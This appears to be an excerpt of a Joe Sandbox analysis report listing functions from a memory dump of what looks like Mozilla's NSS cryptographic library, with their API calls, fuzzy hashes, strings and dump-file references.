Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 632d0f8a6360c4e16512fabddd7cb836509d8df8c4883f9c37170c94597de6c8
Instruction ID: 193fe49c08a39f76f77622586e16cb76527104301440e00582c0749a1f3945aa
Opcode Fuzzy Hash: 632d0f8a6360c4e16512fabddd7cb836509d8df8c4883f9c37170c94597de6c8
Instruction Fuzzy Hash: A74148B5A0428067EB109B149C44BBB3BA8EF4231CF200D25E965D3F81FB35964D8ED3

Function 6CBAAF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB59890: TlsGetValue.KERNEL32(?,?,?,6CB597EB), ref: 6CB5989E

EnterCriticalSection.KERNEL32(?), ref: 6CBAAF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6CBAAFCE
PR_SetPollableEvent.NSS3(?), ref: 6CBAAFD9
EnterCriticalSection.KERNEL32(?), ref: 6CBAAFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6CBAB00F
_PR_MD_UNLOCK.NSS3(?), ref: 6CBAB02F
_PR_MD_UNLOCK.NSS3(?), ref: 6CBAB070
PR_JoinThread.NSS3(?), ref: 6CBAB07B
free.MOZGLUE(?), ref: 6CBAB084
EnterCriticalSection.KERNEL32(?), ref: 6CBAB09B
_PR_MD_UNLOCK.NSS3(?), ref: 6CBAB0C4
PR_JoinThread.NSS3(?), ref: 6CBAB0F3
free.MOZGLUE(?), ref: 6CBAB0FC
PR_JoinThread.NSS3(?), ref: 6CBAB137
free.MOZGLUE(?), ref: 6CBAB140

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 9a5aaad52e515d80a9aedc6a2436aa1558227c3c6cd20e64d69557e8648ce8d3
Instruction ID: 0576d98246cbb214c0e0aea72a88550c98e667b396834b53e49a60be87b20f8b
Opcode Fuzzy Hash: 9a5aaad52e515d80a9aedc6a2436aa1558227c3c6cd20e64d69557e8648ce8d3
Instruction Fuzzy Hash: 8B91BFB5900645CFCB04DF25C88084ABBF1FF4935872981A9D8599BB22E732FC5ACF91

Function 6CB25CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6CB22BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CB22A28,00000060,00000001), ref: 6CB22BF0
Part of subcall function 6CB22BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CB22A28,00000060,00000001), ref: 6CB22C07
Part of subcall function 6CB22BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6CB22A28,00000060,00000001), ref: 6CB22C1E
Part of subcall function 6CB22BE0: free.MOZGLUE(?,00000000,00000000,?,6CB22A28,00000060,00000001), ref: 6CB22C4A

free.MOZGLUE(?,?,6CB2AAD4,?,?,?,?,?,?,?,?,00000000,?,6CB280C1), ref: 6CB25D0F
free.MOZGLUE(?,?,?,6CB2AAD4,?,?,?,?,?,?,?,?,00000000,?,6CB280C1), ref: 6CB25D4E
free.MOZGLUE(?,?,?,6CB2AAD4,?,?,?,?,?,?,?,?,00000000,?,6CB280C1), ref: 6CB25D62
free.MOZGLUE(?,?,?,?,6CB2AAD4,?,?,?,?,?,?,?,?,00000000,?,6CB280C1), ref: 6CB25D85
free.MOZGLUE(?,?,?,?,6CB2AAD4,?,?,?,?,?,?,?,?,00000000,?,6CB280C1), ref: 6CB25D99
free.MOZGLUE(?,?,?,?,6CB2AAD4,?,?,?,?,?,?,?,?,00000000,?,6CB280C1), ref: 6CB25DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6CB2AAD4,?,?,?,?,?,?,?,?,00000000,?,6CB280C1), ref: 6CB25E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6CB2AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CB25E3E
free.MOZGLUE(?,?,?,?,?,?,6CB2AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CB25E47
free.MOZGLUE(?,?,?,?,6CB2AAD4,?,?,?,?,?,?,?,?,00000000,?,6CB280C1), ref: 6CB25E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6CB2AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CB25E78
free.MOZGLUE(?,?,?,?,?,?,?,6CB2AAD4), ref: 6CB25EB9
free.MOZGLUE(?,?,?,?,?,?,?,6CB2AAD4), ref: 6CB25EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6CB2AAD4), ref: 6CB25F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CB2AAD4), ref: 6CB25F4B

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: d99a031c55ee1bee17ac8eb9dafbd19f1d9a654fd297133b62ebae17a1a1ad11
Instruction ID: c5819b998fe55a69a671cd0e0187fe897dcf6ae1a7e70a5842d5fa371b4b394b
Opcode Fuzzy Hash: d99a031c55ee1bee17ac8eb9dafbd19f1d9a654fd297133b62ebae17a1a1ad11
Instruction Fuzzy Hash: A571C2B4A00B419FD700DF24D884AA6B7F5FF89348F148528E82E87B15E731F959CB92

Function 6CAA8DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6CAA8E22
EnterCriticalSection.KERNEL32(?), ref: 6CAA8E36
memset.VCRUNTIME140(?,00000000,?), ref: 6CAA8E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6CAA8E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CAA8E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CAA8EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6CAA8EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CAA8EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6CAA8F00
free.MOZGLUE(?), ref: 6CAA8F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6CAA8F39
memset.VCRUNTIME140(?,00000000,?), ref: 6CAA8F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6CAA8F5B
PR_Unlock.NSS3(?), ref: 6CAA8F72
PR_Unlock.NSS3(?), ref: 6CAA8F82

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 48024ac8875d90207b61327f29abcee064265c43d1fc6d82cc17d9504618df61
Instruction ID: b9d5e40b99e342fff7cf73448dcd6a31c6cec3fcd12895dbaacae6eb9958bdca
Opcode Fuzzy Hash: 48024ac8875d90207b61327f29abcee064265c43d1fc6d82cc17d9504618df61
Instruction Fuzzy Hash: C0514BB2D002519FD7109FA8DC8496EB7B9FF45758F18412AEC189B700E731ED9687E1

Function 6CACCE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6CACCE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CACCEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6CACCED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6CACCEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6CACCF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CACCF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6CACCF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6CACCF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6CACCF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6CACCFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6CACCFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6CACCFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6CACCFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6CACD007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6CACD021

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: 7cca6687e1a15d7e9cdc97c950d99b9c23536af90af652c48ab10c2a90f66c9e
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: 1D314371B52D2127EF0D145E5D31BEE145A4B6930EF480138F90BE57C0F6C5979B42E6

Function 6CBA0FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6CBA1000

Part of subcall function 6CB59BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CA81A48), ref: 6CB59BB3
Part of subcall function 6CB59BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CA81A48), ref: 6CB59BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CBA1016

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

PR_Unlock.NSS3(?), ref: 6CBA1021

Part of subcall function 6CB3DD70: TlsGetValue.KERNEL32 ref: 6CB3DD8C
Part of subcall function 6CB3DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB3DDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CBA1046
PR_Unlock.NSS3(?), ref: 6CBA106B
PR_Lock.NSS3 ref: 6CBA1079
PR_Unlock.NSS3 ref: 6CBA1096
free.MOZGLUE(?), ref: 6CBA10A7
free.MOZGLUE(?), ref: 6CBA10B4
PR_DestroyCondVar.NSS3(?), ref: 6CBA10BF
PR_DestroyCondVar.NSS3(?), ref: 6CBA10CA
PR_DestroyCondVar.NSS3(?), ref: 6CBA10D5
PR_DestroyCondVar.NSS3(?), ref: 6CBA10E0
PR_DestroyLock.NSS3(?), ref: 6CBA10EB
free.MOZGLUE(?), ref: 6CBA1105

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: 024d53b196ee960946c9ebbb6746682abb62894b39977c764676ffb49e3aed85
Instruction ID: baad766ba063756a15e6bfdf4630843d7522b1223e08d8777d86d944554dcbb7
Opcode Fuzzy Hash: 024d53b196ee960946c9ebbb6746682abb62894b39977c764676ffb49e3aed85
Instruction Fuzzy Hash: 383187B9900491EBD7029FA1FD41A49BB75FF01318B084220E80913F61E732F8B9DAC2

Function 6CAB5E60 Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CAB5ECF
EnterCriticalSection.KERNEL32(?), ref: 6CAB5EE3
PR_Unlock.NSS3(?), ref: 6CAB5F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6CAB5FB5

Strings

NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6CAB61F4

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT
API String ID: 2280678669-837408685
Opcode ID: 8b48e0f18dec0f0498df1736d6755d6e9434bda5bcb8ae3519bc72fbb325fdf2
Instruction ID: a33c48ecb0dc3b967af3d9f2a9e80bf919936f4cb19852b3e002f414bb93b7ec
Opcode Fuzzy Hash: 8b48e0f18dec0f0498df1736d6755d6e9434bda5bcb8ae3519bc72fbb325fdf2
Instruction Fuzzy Hash: 27F107B5A002158FEB54CF28D984786BBF8FF09304F5582AAD8089F746D774EA94CF91

Function 6CA1DC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CA1DD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6CA1DD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CA1DE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6CA1DEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA1DECD

Strings

database corruption, xrefs: 6CA1DF77, 6CA1DFE7
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA1DF6D, 6CA1DFCC, 6CA1DFDD
%s at line %d of [%.10s], xrefs: 6CA1DF7C, 6CA1DFEC

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: 2069c1132d5b88056370b299074bb8599c4d82a88d2529bc46316db3eda7dd7b
Instruction ID: 32f33bf7caa5e87b81531ea2ae898a9dfbfbbe150f381a2de5601424239ad64f
Opcode Fuzzy Hash: 2069c1132d5b88056370b299074bb8599c4d82a88d2529bc46316db3eda7dd7b
Instruction Fuzzy Hash: 3BA1E471A082519FC712CF29C880A6BB7F5EF85318F19892DF8898BF51D730E995CB91

Function 6CADEDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6CADEE0B

Part of subcall function 6CAF0BE0: malloc.MOZGLUE(6CAE8D2D,?,00000000,?), ref: 6CAF0BF8
Part of subcall function 6CAF0BE0: TlsGetValue.KERNEL32(6CAE8D2D,?,00000000,?), ref: 6CAF0C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CADEEE1

Part of subcall function 6CAD1D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6CAD1D7E
Part of subcall function 6CAD1D50: EnterCriticalSection.KERNEL32(?), ref: 6CAD1D8E
Part of subcall function 6CAD1D50: PR_Unlock.NSS3(?), ref: 6CAD1DD3

TlsGetValue.KERNEL32 ref: 6CADEE51
EnterCriticalSection.KERNEL32(?), ref: 6CADEE65
PR_Unlock.NSS3(?), ref: 6CADEEA2
free.MOZGLUE(?), ref: 6CADEEBB
PR_SetError.NSS3(00000000,00000000), ref: 6CADEED0
PR_Unlock.NSS3(?), ref: 6CADEF48
free.MOZGLUE(?), ref: 6CADEF68
PR_SetError.NSS3(00000000,00000000), ref: 6CADEF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6CADEFA4
free.MOZGLUE(?), ref: 6CADEFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CADF055
free.MOZGLUE(?), ref: 6CADF060

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 68625302c0e6246a5151e762d8188014ffc30d0c83bc65bf1a902c26e49c829e
Instruction ID: 148519ca50ad557006aa0ca9b6a63dcfc573e09e33066ce1c1c3a2ba21569053
Opcode Fuzzy Hash: 68625302c0e6246a5151e762d8188014ffc30d0c83bc65bf1a902c26e49c829e
Instruction Fuzzy Hash: C98183B5A00215ABDF01DFA4DD45BDEBBB5BF0C358F190024E919A3711EB31E9A4CBA1

Function 6CAA4CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6CAA4D80
PORT_Alloc_Util.NSS3(00000000), ref: 6CAA4D95
PORT_NewArena_Util.NSS3(00000800), ref: 6CAA4DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAA4E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6CAA4E43
PORT_NewArena_Util.NSS3(00000800), ref: 6CAA4E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6CAA4E85
DER_Encode_Util.NSS3(?,?,6CBF05A4,00000000), ref: 6CAA4EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6CAA4F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6CAA4F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CAA4F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CAA4F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CAA4F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CAA4FC8

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 1dea200e7e1cf6f8da642549adf16231ad3473add871c8ab993cbd580475b291
Instruction ID: 4a7d49b6eb7a0a897816d01854307a65a02c16ea25c7e9e1bb493e7fdb13e822
Opcode Fuzzy Hash: 1dea200e7e1cf6f8da642549adf16231ad3473add871c8ab993cbd580475b291
Instruction Fuzzy Hash: 3D81B271908301AFE711CFA4DD40B5BB7E4AB88718F14952DF958CB641EB31E98ACB92

Function 6CAE5C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6CAE5C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6CAE5CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6CAE5CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6CAE5D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6CAE5D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAE5D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CAE5E18
TlsGetValue.KERNEL32 ref: 6CAE5E5E
EnterCriticalSection.KERNEL32(?), ref: 6CAE5E72
PR_Unlock.NSS3(?), ref: 6CAE5E8B

Part of subcall function 6CADF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CADF854
Part of subcall function 6CADF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CADF868
Part of subcall function 6CADF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CADF882
Part of subcall function 6CADF820: free.MOZGLUE(04C483FF,?,?), ref: 6CADF889
Part of subcall function 6CADF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CADF8A4
Part of subcall function 6CADF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CADF8AB
Part of subcall function 6CADF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CADF8C9
Part of subcall function 6CADF820: free.MOZGLUE(280F10EC,?,?), ref: 6CADF8D0

Strings

tokens=[0x%x=<%s>], xrefs: 6CAE5D3D
d, xrefs: 6CAE5C36

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: 4a06c666b1bd0a6aa645201384aebc5098f3655f0fc88601ea4e4aea3b7a9881
Instruction ID: 3a8d4ceaf4fe9765e903b28c8757c05683a0afb25f3c88ef54fdb643d22881e3
Opcode Fuzzy Hash: 4a06c666b1bd0a6aa645201384aebc5098f3655f0fc88601ea4e4aea3b7a9881
Instruction Fuzzy Hash: 9371F5B4E051009BEB009F29FD4576E3679AF4830CF180035D9099BB42EB32E999EBD2

Function 6CA8AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CA8AF47

Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB590AB
Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB590C9
Part of subcall function 6CB59090: EnterCriticalSection.KERNEL32 ref: 6CB590E5
Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB59116
Part of subcall function 6CB59090: LeaveCriticalSection.KERNEL32 ref: 6CB5913F

FreeLibrary.KERNEL32(?), ref: 6CA8AF6D
free.MOZGLUE(?), ref: 6CA8AFA4
free.MOZGLUE(?), ref: 6CA8AFAA
PR_ExitMonitor.NSS3 ref: 6CA8AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6CA8AFF5
PR_ExitMonitor.NSS3 ref: 6CA8B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CA8B014
